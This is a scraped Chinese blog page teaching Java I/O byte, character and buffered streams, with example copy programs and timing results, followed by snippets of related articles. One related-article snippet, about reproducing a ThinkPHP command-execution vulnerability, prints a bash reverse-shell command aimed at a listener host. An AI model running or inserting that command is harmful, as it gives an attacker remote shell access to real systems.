当前位置: 首页 > news >正文

java基础I/O

1,I/O流的概念:
IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。
不管它有多少特性,本质上 流就是一组字节序列,或者直接可以说01字节序列吧?

2,字节流
首先是一个官网例子:CopyBytes.java。


import java.io.*;public class CopyBytes {public static void main(String[] args) throws IOException {read(); //420856988read2(); //1100868readBuffer(); //5977046readBuffer2(); //964845}public static void read() throws IOException {final long l = System.nanoTime();FileInputStream in = null;FileOutputStream out = null;try {String properties = System.getProperty("java.class.path");in = new FileInputStream(properties+"/xanadu.txt"); //想要在IDEA里面跑起来 就把文件放在resources里面//in = new FileInputStream("xanadu.txt"); //否则把文件放在classpath目录里面,使用java命令启动程序out = new FileOutputStream(properties+"/outagain.txt");//out = new FileOutputStream("outagain.txt");int c;while ((c = in.read()) != -1) { //这里每次读取一个字节out.write(c);}} finally {if (in != null) {in.close();//必须得关闭}if (out != null) {out.close();}}System.out.println(System.nanoTime() - l);}public static void read2() throws IOException {final long l = System.nanoTime();FileInputStream in = null;FileOutputStream out = null;try {String properties = System.getProperty("java.class.path");in = new FileInputStream(properties+"/xanadu.txt"); //想要在IDEA里面跑起来 就把文件放在resources里面//in = new FileInputStream("xanadu.txt"); //否则把文件放在classpath目录里面,使用java命令启动程序out = new FileOutputStream(properties+"/outagain.txt");//out = new FileOutputStream("outagain.txt");int c;byte[] bufferBytes = new byte[8192];while ((c = in.read(bufferBytes)) != -1) { //这里每次读取一个字节out.write(bufferBytes,0,c);}} finally {if (in != null) {in.close();//必须得关闭}if (out != null) {out.close();}}System.out.println(System.nanoTime() - l);}public static void readBuffer() throws IOException {final long l = System.nanoTime();InputStream in = null;OutputStream out = null;try {String properties = System.getProperty("java.class.path");in = new BufferedInputStream(new FileInputStream(properties+"/xanadu.txt")); //想要在IDEA里面跑起来 就把文件放在resources里面out = new BufferedOutputStream(new FileOutputStream(properties+"/outagain.txt"));int c;while ((c = in.read()) != -1) { //这里每次读取一个字节out.write(c);}} finally {if (in != null) {in.close();//必须得关闭}if (out != null) {out.close();}}System.out.println(System.nanoTime() - l);}public static void readBuffer2() throws IOException {final long l = System.nanoTime();InputStream in = null;OutputStream out = null;try {String properties = System.getProperty("java.class.path");in = new BufferedInputStream(new FileInputStream(properties+"/xanadu.txt")); //把数据批量读进内存out = new BufferedOutputStream(new FileOutputStream(properties+"/outagain.txt"));int c;byte[] bufferBytes = new byte[8192];while ((c = in.read(bufferBytes)) != -1) { //这个批量读进bufferBytes数组。out.write(bufferBytes,0,c);}out.flush(); //这里可以手动刷新一下,防止数据丢失。} finally {if (in != null) {in.close();//必须得关闭}if (out != null) {out.close();}}System.out.println(System.nanoTime() - l);}
}


2.1 字节流默认每次输入或者输出一个字节(8-bit),类很多,但是所有的都是InputStream/OutputStream的子类,CopyBytes.java使用了FileInputStream和FileOutputStream,但是其他的类的使用方法差不多,除了构造方法不一样。
2.2 整个复制的过程比较简单,就是在输入流里面读取一个字节,然后往输出流里面写一个字节,直到读完。
2.3 输入输出流使用完毕后必须关闭,而且是在finally代码块里面确保一定关闭,防止资源泄漏。
2.4 这个CopyBytes看起来挺好用,但这只是一个低级别的I/O操作,平时应该避免使用,它只是基础,如果复制可以使用Character Stream。

3,字符流
首先是官网的两个例子:CopyCharacters.java和CopyLine.java


import java.io.FileReader;
import java.io.FileWriter;
import java.io.BufferedReader;
import java.io.PrintWriter;
import java.io.IOException;public class CopyLines {public static void main(String[] args) throws IOException {BufferedReader inputStream = null;PrintWriter outputStream = null;try {String properties = System.getProperty("java.class.path");System.out.println(properties);inputStream = new BufferedReader(new FileReader(properties+"/xanadu.txt"));outputStream = new PrintWriter(new FileWriter(properties+"/characteroutput1.txt"));String l;while ((l = inputStream.readLine()) != null) {outputStream.println(l);}} finally {if (inputStream != null) {inputStream.close();}if (outputStream != null) {outputStream.close();}}}
}


import java.io.*;public class CopyCharacters {public static void main(String[] args) throws IOException {readByReader();       //27623168readByBufferReader(); //2098684 //2Kb的文件就相差10倍}public static void readByReader() throws IOException{final long l = System.nanoTime();Reader inputStream = null;Writer outputStream = null;try {String properties = System.getProperty("java.class.path");inputStream = new FileReader(properties+"/xanadu.txt");outputStream = new FileWriter(properties+"/characteroutput.txt");int c;while ((c = inputStream.read()) != -1) {outputStream.write(c);}} finally {if (inputStream != null) {inputStream.close();}if (outputStream != null) {outputStream.close();}}System.out.println(System.nanoTime() - l);}public static void readByBufferReader() throws IOException{final long l = System.nanoTime();Reader inputStream = null;Writer outputStream = null;try {String properties = System.getProperty("java.class.path");inputStream = new BufferedReader(new FileReader(properties+"/xanadu.txt"),8192); //这个size大小对性能的影响很大outputStream = new BufferedWriter(new FileWriter(properties+"/characteroutput.txt"),8192);int c;while ((c = inputStream.read()) != -1) {outputStream.write(c);}} finally {if (inputStream != null) {inputStream.close();}if (outputStream != null) {outputStream.close();}}System.out.println(System.nanoTime() - l);}}


3.1 Java默认使用Unicode存储字符值,而字符流会自动处理本地字符集与内部之间的转换。使用字符流替代字节流的程序会自动回应本地字符集而无需程序员操心。
3.2 所有的字符流都继承自Reader和Writer第一个例子CopyCharacters.java使用了FileRead和FileWriter
3.3 字符流通常是字节流的包装器,字节流执行物理I/O,而字符流处理字节与字符之间的转换,有两个通用的字节到字符“桥接”流: InputStreamReader 和 OutputStreamWriter,自定义是可以用这两个类。
3.4 字符流通常一次会读取多个字符,比如一行字符,CopyLine.java 就是按行读取写入的例子,一串带有行终止符的字符称为一行。行终止符有 回车符/换行符序列("/r/n") 单个回车符("/r") 单个换行符("/n")。
3.5 调用 readLine 将返回一行带有该行的文本,CopyLines 输出每一行 (println) ,这将附加当前操作系统的行终止符。这可能与输入文件中使用的行终止符不同

4,缓冲流
前面介绍的字节流和字符流没有缓冲,每次读取都是由底层操作系统直接操作,效率较低,因为每次操作都可能触发磁盘IO或者网络活动,为了避免这种情况设计了缓冲流。
4.1 缓冲输入流从缓冲区(内存)读取数据,当缓冲区为空是才调用底层操作系统,同样的输出流也是先输出到缓冲区,要满时才才调用本地的API。
4.2 有四个缓冲流类用于包装未缓冲的流: BufferedInputStream 和 BufferedOutputStream 创建缓冲字节流,而和 BufferedReader BufferedWriter 创建缓冲字符流。
4.3 用法:inputStream = new BufferedReader(new FileReader("xanadu.txt"));
outputStream = new BufferedWriter(new FileWriter("characteroutput.txt"));
4.4 靠,这个性能差别还是很大的,尤其是对于字节流来说可以提升近百倍。
4.5 每次创建时会创建一个固定大小的缓冲区数组(字符流是char[8192],字节流是byte[8192]),根据文档描述 默认的大小就可以满足绝大多数情况,当然我想应该是文件越大越要提高数值吧,资源允许的话。8192->8M大小
4.6 缓冲区是内存里面存储该文件的地方,在copy时还可以创建缓冲数组提高效率,最终版应该是 CopyBytes.readBuffer2()方法。
这个地方打比方的话就是 如果使用单纯的字节流,不使用缓冲流,就相当于 我们在桌面查看一个D盘的文件,每次都得打开D盘然后读取一个字节,然后返回桌面复制到另一文件李敏啊,然后在回到D盘再读取一个字节...这样子。
用了缓冲流呢,每次读取8192个字节,回来复制一下,write(int i)复制时呢就是一个字节一个字节复制的,write(byte[8192],0,len)就是每次复制8192个字节,当然最快。
4.7 缓冲输出流提供方法 flush() 手动刷新数据到目标文件,每次结束之后可以手动调用,方式数据丢失,在关闭流时也会自动调用刷新方法。总结要么关闭也么刷新最好两个都做了。

 

相关文章:

java基础I/O

1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验

1.题目要求: 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff08;第 h 层&#xff09;…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?

微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

基础岛 - 8G显存验证书生·浦语大模型的Demo

因为以前用过LMDeploy&#xff0c;所以本章的内容相对熟悉。 另外&#xff0c;因为教程写的很详细保姆级&#xff0c;所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论&#xff1a; LMDeploy的模型加载有点慢&#xff0c;但推理速度快&#xff0c;符合预…...

Jangow靶机攻略

搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...

Vue项目通过宝塔部署之后,页面刷新后浏览器404页面

目录 报错 解决方法 报错 将vue项目在宝塔上部署&#xff0c; 当项目挂载到服务器上去&#xff0c;进行浏览器的访问&#xff0c;是能正常访问的&#xff0c;可是当我们在浏览器上进行刷新之后&#xff0c;浏览器会给我们返回一个404的页面。 解决方法 &#xff08;1&#…...

Java一一一简易图书管理系统

Java一一一简易图书管理系统 1. 需求分析 功能需求&#xff1a; 添加图书删除图书更新图书信息查询图书列出所有图书 2. 设计 实体类&#xff1a;Book业务逻辑类&#xff1a;LibraryManager 3. 实现 3.1 Book类 public class Book {private String id;private String t…...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

【磁盘】每天掌握一个Linux命令 - iostat

目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat&#xff08;I/O Statistics&#xff09;是Linux系统下用于监视系统输入输出设备和CPU使…...

【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控,故障处理工具

第2章 虚拟机性能监控&#xff0c;故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令&#xff1a;jps [options] [hostid] 功能&#xff1a;本地虚拟机进程显示进程ID&#xff08;与ps相同&#xff09;&#xff0c;可同时显示主类&#x…...

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

LLaMA-Factory 微调 Qwen2-VL 进行人脸情感识别(二)

在上一篇文章中,我们详细介绍了如何使用LLaMA-Factory框架对Qwen2-VL大模型进行微调,以实现人脸情感识别的功能。本篇文章将聚焦于微调完成后,如何调用这个模型进行人脸情感识别的具体代码实现,包括详细的步骤和注释。 模型调用步骤 环境准备:确保安装了必要的Python库。…...

前端开发者常用网站

Can I use网站&#xff1a;一个查询网页技术兼容性的网站 一个查询网页技术兼容性的网站Can I use&#xff1a;Can I use... Support tables for HTML5, CSS3, etc (查询浏览器对HTML5的支持情况) 权威网站&#xff1a;MDN JavaScript权威网站&#xff1a;JavaScript | MDN...

数据结构:泰勒展开式:霍纳法则(Horner‘s Rule)

目录 &#x1f50d; 若用递归计算每一项&#xff0c;会发生什么&#xff1f; Horners Rule&#xff08;霍纳法则&#xff09; 第一步&#xff1a;我们从最原始的泰勒公式出发 第二步&#xff1a;从形式上重新观察展开式 &#x1f31f; 第三步&#xff1a;引出霍纳法则&…...

嵌入式面试常问问题

以下内容面向嵌入式/系统方向的初学者与面试备考者,全面梳理了以下几大板块,并在每个板块末尾列出常见的面试问答思路,帮助你既能夯实基础,又能应对面试挑战。 一、TCP/IP 协议 1.1 TCP/IP 五层模型概述 链路层(Link Layer) 包括网卡驱动、以太网、Wi‑Fi、PPP 等。负责…...

Copilot for Xcode (iOS的 AI辅助编程)

Copilot for Xcode 简介Copilot下载与安装 体验环境要求下载最新的安装包安装登录系统权限设置 AI辅助编程生成注释代码补全简单需求代码生成辅助编程行间代码生成注释联想 代码生成 总结 简介 尝试使用了Copilot&#xff0c;它能根据上下文补全代码&#xff0c;快速生成常用…...

react-pdf(pdfjs-dist)如何兼容老浏览器(chrome 49)

之前都是使用react-pdf来渲染pdf文件&#xff0c;这次有个需求是要兼容xp环境&#xff0c;xp上chrome最高支持到49&#xff0c;虽然说iframe或者embed都可以实现预览pdf&#xff0c;但为了后续的定制化需求&#xff0c;还是需要使用js库来渲染。 chrome 49测试环境 能用的测试…...